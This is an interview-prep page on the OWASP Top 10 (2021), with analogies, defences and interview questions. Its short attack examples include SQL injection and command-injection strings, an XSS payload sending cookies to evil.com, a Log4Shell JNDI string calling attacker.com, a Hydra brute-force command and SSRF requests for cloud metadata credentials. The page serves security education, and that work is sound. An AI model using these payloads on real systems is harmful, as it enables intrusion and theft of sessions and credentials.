Interview Prep · OWASP Top 10 · 2021

Break it to
Defend it.

// all 10 vulnerabilities · analogies · attack examples · interview q's

MASTERY PROGRESS
0 / 10
01
Broken Access Control
Critical Access Control IDOR Privilege Escalation
+
Users can act outside their intended permissions — accessing other users' data, performing admin actions, or reaching unauthorized pages. The #1 vulnerability in OWASP 2021.

Imagine a hotel where every room uses the same key. Room 101 could open Room 505 just by changing the room number on the keycard. The front desk (server) trusts what the keycard says without verifying if that guest is actually allowed in that room.

# You're logged in as user 42. Your invoice URL is: GET /api/invoices/1042 # You change the ID — no authorization check on server: GET /api/invoices/1043 → 200 OK — you just read someone else's invoice # Horizontal priv esc: same role, different user # Vertical priv esc: user accesses admin endpoint GET /admin/deleteUser?id=99 → Works if auth not enforced server-side
⚔ How to attack
  • Change IDs in URLs/params (IDOR)
  • Access /admin without being admin
  • Replay tokens with modified roles
  • Forced browsing to hidden endpoints
  • Mass assignment to set role=admin in body
🛡 How to defend
  • Enforce access control server-side, always
  • Use indirect object references (UUIDs)
  • Deny by default
  • Log all access control failures
  • Rate limit API endpoints
Q: What's the difference between horizontal and vertical privilege escalation?
Q: How would you test for IDOR in a black-box pentest?
Q: A developer says "the button is hidden, users can't find the admin endpoint." Is that secure?
02
Cryptographic Failures
Critical Data Exposure Weak Crypto
+
Sensitive data is exposed because it's transmitted or stored without proper encryption — or uses weak/broken cryptographic algorithms like MD5, SHA1, or DES.

Sending your credit card number on a postcard instead of a sealed envelope. Anyone who handles that postcard — the mailman, sorting facility — can read it. HTTPS is the sealed, tamper-evident envelope.

# Passwords stored with MD5 (broken) DB: user_password = "5f4dcc3b5aa765d61d8327deb882cf99" → Instantly cracked: "password" (rainbow tables) # HTTP site transmitting session token GET http://bank.com/dashboard Cookie: session=abc123 → Sniffed on public WiFi via Wireshark / mitmproxy # Weak TLS: site supports SSLv3 / TLS 1.0 → POODLE / BEAST attack possible
⚔ How to attack
  • Sniff HTTP traffic (Wireshark, mitmproxy)
  • Crack MD5/SHA1 hashes (Hashcat)
  • Check for SSLv3/TLS 1.0 (testssl.sh)
  • Find sensitive data in API responses
  • Downgrade attacks on weak cipher suites
🛡 How to defend
  • Use TLS 1.2/1.3 for all traffic
  • Hash passwords with bcrypt/Argon2
  • Encrypt data at rest (AES-256)
  • Never store sensitive data you don't need
  • Disable weak ciphers in server config
Q: Why is MD5 not suitable for password storage even if the password is complex?
Q: What's the difference between hashing, encoding, and encryption?
Q: How would you test a web app for cryptographic weaknesses?
03
Injection
Critical SQLi XSS Command Injection
+
Untrusted data is sent to an interpreter (SQL engine, shell, LDAP, XML parser) as part of a command or query. The attacker tricks the application into executing unintended commands. SQL Injection is the most famous, but XSS and command injection fall here too.

Imagine a secretary who types up whatever you say into official memos. You say: "Write a memo saying: fire John. Also, fire the entire finance department." The secretary, blindly following instructions, sends both memos. The app is the secretary — it needs to check if the input is a legitimate instruction, not just follow it blindly.

# Vulnerable SQL query SELECT * FROM users WHERE username='$input' AND password='$pass' # Attacker enters: ' OR '1'='1 SELECT * FROM users WHERE username='' OR '1'='1' AND password='' → Always true. Bypasses login entirely. # Command injection via ping field Input: 8.8.8.8; cat /etc/passwd ping 8.8.8.8; cat /etc/passwd → Server executes both commands # Stored XSS in comment field <script>document.location='https://evil.com/steal?c='+document.cookie</script> → Every visitor's session cookie gets stolen
⚔ How to attack
  • SQLMap for automated SQLi detection
  • Single quote ' to detect SQL errors
  • Burp Suite to fuzz input fields
  • OS command injection via ; && ||
  • XSS via <script> in every input
🛡 How to defend
  • Use parameterized queries / prepared statements
  • Input validation and allowlists
  • Escape all output (HTML encoding)
  • Least privilege DB accounts
  • WAF as a secondary layer
Q: Walk me through a manual SQLi test step by step, no automated tools.
Q: What's the difference between Stored, Reflected, and DOM-based XSS?
Q: Why do prepared statements prevent SQL injection?
04
Insecure Design
High Architecture Business Logic
+
Security flaws baked into the design or architecture — not just implementation bugs. The system was designed without thinking about what happens when attackers abuse legitimate features. This is about missing security controls at a design level.

A bank designs a vault where you can make unlimited "test withdrawals" that don't count until you hit confirm — but never implemented confirmation. The flaw isn't a bug in the code; it's that nobody asked "what if someone spams the test button?" during design phase.

# Business logic flaw: negative quantities POST /cart { "item": "laptop", "qty": -1, "price": 999 } → App refunds $999 to your account (no validation on negative qty) # Password reset with no rate limit or account lockout → Attacker brute-forces 6-digit OTP (1,000,000 combos) → Design flaw: should expire after 5 attempts # Credential stuffing because no MFA was designed in → 10M leaked username/passwords → automated login attempts
⚔ How to attack
  • Abuse multi-step flows out of order
  • Test negative/zero/large value inputs
  • Brute force OTPs with no lockout
  • Bypass logic by skipping steps
  • Exploit race conditions in workflows
🛡 How to defend
  • Threat modeling during design phase
  • Security user stories and abuse cases
  • Rate limiting and account lockout by design
  • Validate all inputs business-logic-wise
  • Plimit transactions and review workflows
Q: How is Insecure Design different from a misconfiguration or a code bug?
Q: Give an example of a business logic vulnerability you've seen or tested.
Q: What is threat modeling and when should it happen in the SDLC?
05
Security Misconfiguration
High Cloud Default Creds XXE
+
Insecure default configurations, missing hardening, open cloud storage, enabled debug features, default passwords, overly permissive CORS, verbose error messages. The most common vulnerability in practice — and the most avoidable.

Moving into a new house and never changing the locks that came with it. The builder, every contractor, and the previous owner all have a copy. "It worked out of the box" doesn't mean it's secure — default = known to everyone.

# Default credentials (very common) admin:admin, admin:password, root:root → Jenkins, Tomcat, routers exposed to internet # AWS S3 bucket public read (Capital One breach 2019) curl https://s3.amazonaws.com/company-internal-docs/ → 100M customer records exposed # Stack trace leaking in error response 500 Internal Server Error: NullPointerException at DatabaseHelper.java:42 Connection string: jdbc:mysql://prod-db:3306/users → Attacker now knows DB type, host, and port # Directory listing enabled GET /backup/ → shows: db_backup_2024.sql, config.env
⚔ How to attack
  • Shodan for exposed services/defaults
  • Test default creds on login panels
  • Trigger errors to read stack traces
  • Check /.git, /backup, /admin paths
  • Test CORS with evil.com origin
🛡 How to defend
  • Harden all configs against CIS Benchmarks
  • Change all default credentials
  • Disable debug/error detail in prod
  • Regular config audits and IaC scanning
  • Minimal attack surface: disable unused features
Q: How would you enumerate misconfigurations in a cloud environment (AWS)?
Q: What is XXE and how does it relate to misconfiguration?
Q: You find a .git directory exposed on a production server. What can you do with it?
06
Vulnerable & Outdated Components
High Supply Chain CVEs
+
Running software components (libraries, frameworks, OS packages) with known vulnerabilities. Log4Shell, Heartbleed, and EternalBlue are all famous examples of attackers exploiting unpatched components at scale.

Your car has a recalled brake system — the manufacturer sent a fix months ago, but you never applied it. You're not driving an "unpatched car" deliberately, you just never checked. The vulnerability is public knowledge, the exploit is a manual, and you're the one at risk.

# Log4Shell (CVE-2021-44228) — Dec 2021 # Log4j logs user-agent string — attacker sends: User-Agent: ${jndi:ldap://attacker.com/exploit} → Server fetches and executes attacker's Java class → RCE on millions of servers in 72 hours # Checking for outdated packages npm audit # Node.js pip-audit # Python nmap --script vuln # Service version + CVE check # EternalBlue (MS17-010) — WannaCry → Unpatched Windows SMB → ransomware epidemic
⚔ How to attack
  • Banner grab versions, search NVD/CVEDetails
  • Searchsploit for known exploits
  • Nmap version scan + vuln scripts
  • Check package.json / requirements.txt
  • Nuclei templates for CVE detection
🛡 How to defend
  • SCA tools (Snyk, Dependabot, OWASP Dependency-Check)
  • Subscribe to CVE feeds
  • Patch management policy
  • Remove unused dependencies
  • SBOM (Software Bill of Materials)
Q: Explain how Log4Shell worked at a high level. Why was it so severe?
Q: How do you identify the version of a library running on a server you're testing?
Q: What's a software supply chain attack? Give an example.
07
Identification & Authentication Failures
High Brute Force Session Credential Stuffing
+
Weaknesses in how the application identifies and authenticates users — allowing attackers to impersonate legitimate users. Includes weak passwords, missing MFA, insecure session tokens, credential stuffing, and broken "forgot password" flows.

A nightclub that checks ID but accepts a Post-It note with "YES IM 21" written on it. Or one that lets you back in with the same wristband after leaving — even if you lent it to a friend. The bouncer (authentication) trusted the wrong signals.

# Credential stuffing with leaked passwords hydra -L users.txt -P rockyou.txt https://target.com/login → 0.5% success rate × 1M accounts = 5,000 compromised # Session token never expires or rotates after login Cookie: session=abc123 → Steal the token → replay it for weeks # Predictable session token session_20240101_user42 → Attacker guesses other users' tokens # No rate limiting on password reset OTP → Brute force 6-digit code in minutes
⚔ How to attack
  • Credential stuffing (Hydra, Burp Intruder)
  • Brute force with no lockout
  • Session token analysis for predictability
  • Token fixation attacks
  • Check for session invalidation on logout
🛡 How to defend
  • Enforce MFA everywhere possible
  • Use cryptographically random session tokens
  • Invalidate sessions on logout and password change
  • Account lockout + CAPTCHA after failures
  • Check creds against HaveIBeenPwned API
Q: What's the difference between credential stuffing and brute forcing?
Q: How would you test a session management implementation for weaknesses?
Q: What makes a session token "secure"?
08
Software & Data Integrity Failures
High Insecure Deserialization CI/CD Supply Chain
+
Code and infrastructure that doesn't protect against integrity violations. Includes insecure deserialization (where an attacker modifies serialized objects to achieve RCE), and CI/CD pipeline attacks where an attacker poisons the software build process. SolarWinds is the famous real-world case.

A restaurant that receives sealed ingredient boxes from a supplier — but never checks if the seal has been tampered with. The attacker intercepts the delivery, replaces the chicken with something toxic, reseals the box, and the kitchen blindly cooks it. The food (data/code) was never verified to be what it claimed.

# Insecure deserialization (Java) # App deserializes base64 cookie without validation Cookie: user=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA== → Attacker crafts malicious serialized object → RCE → Tool: ysoserial.jar # SolarWinds (2020) supply chain attack → Attackers compromised the BUILD server → Malicious code injected into legitimate signed update → 18,000+ orgs downloaded the backdoored update # npm package hijack → Attacker publishes typosquatted "lodahs" (not "lodash") → Developer typos → malicious code runs in CI/CD
⚔ How to attack
  • Intercept and modify serialized objects
  • ysoserial for Java deserialization payloads
  • Tamper with JWT without signature check
  • Poison CI/CD pipelines (pull request attacks)
  • Typosquatting package names
🛡 How to defend
  • Verify digital signatures on packages/updates
  • Use subresource integrity (SRI) for CDN resources
  • Secure CI/CD with signed commits and code review
  • Avoid deserializing data from untrusted sources
  • Use SBOM to track what's in the software
Q: Explain insecure deserialization. Why does it often lead to RCE?
Q: What happened in the SolarWinds attack and how could it have been prevented?
Q: How can CI/CD pipelines become an attack vector?
09
Security Logging & Monitoring Failures
Medium Detection DFIR Audit
+
Without sufficient logging and monitoring, attackers can operate undetected for months. Average breach detection time is 200+ days. This vulnerability enables attackers to persist, pivot, and exfiltrate data while defenders remain blind.

A bank with no security cameras, no alarm triggers, no incident log. A thief breaks in at 2am, drills the vault slowly for 6 hours, leaves. Nobody knows until a teller notices cash is missing 3 weeks later. The crime happened — the failure is that nobody was watching, and the evidence was never recorded.

# What an attacker loves: no logs → 50,000 failed login attempts → no alert triggered → Attacker pivots from web app to internal network → Exfiltrates 10GB over 3 weeks → no anomaly detected # Equifax breach (2017) → Attackers active for 78 days undetected → 143M records exfiltrated → SSL inspection disabled → encrypted exfiltration missed # What good logs look like 2024-01-15 02:31:44 [WARN] Failed login user:admin ip:45.33.32.156 2024-01-15 02:31:45 [WARN] Failed login user:admin ip:45.33.32.156 2024-01-15 02:31:45 [ALERT] Brute force detected — blocking IP
⚔ Attacker advantage
  • Low-and-slow attacks evade threshold alerts
  • Log tampering to cover tracks
  • Living off the land (LOLBins) to blend in
  • Operate during business hours for noise
  • Delete logs before defenders notice
🛡 How to defend
  • Centralized SIEM (Splunk, ELK, Sentinel)
  • Alert on anomalies, not just signatures
  • Immutable logs (write-once storage)
  • Log all auth events, access denials, errors
  • Incident response plan + regular drills
Q: From an offensive perspective, why is lack of logging beneficial to attackers?
Q: What events should always be logged in a web application?
Q: What is a SIEM and how does it help with this OWASP category?
10
Server-Side Request Forgery (SSRF)
High SSRF Cloud Metadata Internal Network
+
The attacker makes the server send requests to unintended locations — internal services, cloud metadata APIs, or other servers. The server acts as a proxy for the attacker, bypassing firewalls and reaching internal resources that should never be public. Capital One breach (2019) was caused by SSRF.

You can't enter a restricted government building, but you have a friend who works there. You hand your friend a letter and say "can you go ask the records room for file #4521 and bring it back to me?" Your friend (the server) fetches it on your behalf, bypassing all the security checks you would have faced at the front door.

# App accepts a URL and fetches it server-side POST /api/preview { "url": "https://legitimate-site.com" } # Attacker points it to cloud metadata API { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } → Returns AWS IAM credentials — full cloud account takeover # Internal service enumeration { "url": "http://internal-db:5432" } → Port scan internal network { "url": "http://redis:6379" } → Access internal Redis cache # Capital One 2019: WAF misconfigured + SSRF → 100M+ customer records stolen via metadata API
⚔ How to attack
  • Find URL input fields, webhooks, PDF generators
  • Try 169.254.169.254 for cloud metadata
  • Probe internal IPs / localhost
  • Blind SSRF via DNS callbacks (Burp Collaborator)
  • Bypass filters with IP encoding tricks
🛡 How to defend
  • Allowlist permitted domains server-side
  • Block requests to private IP ranges
  • Disable HTTP redirects in fetch libraries
  • Use IMDSv2 (AWS) to require token for metadata
  • Segment internal network from web tier
Q: What is SSRF and why is it especially dangerous in cloud environments?
Q: How would you find SSRF vulnerabilities during a black-box assessment?
Q: A developer says they validate URLs by checking for "https://". Can an attacker bypass this?

Quick Recall Cheat Sheet

A01
Broken Access Control
IDOR · priv esc · force browse
A02
Crypto Failures
MD5 · no TLS · data exposed
A03
Injection
SQLi · XSS · CMDi · input
A04
Insecure Design
business logic · no threat model
A05
Misconfiguration
defaults · open S3 · debug on
A06
Outdated Components
Log4Shell · CVEs · no patching
A07
Auth Failures
weak session · brute · stuffing
A08
Integrity Failures
deserialize · SolarWinds · CI/CD
A09
Logging Failures
blind to attacks · no SIEM
A10
SSRF
server as proxy · metadata API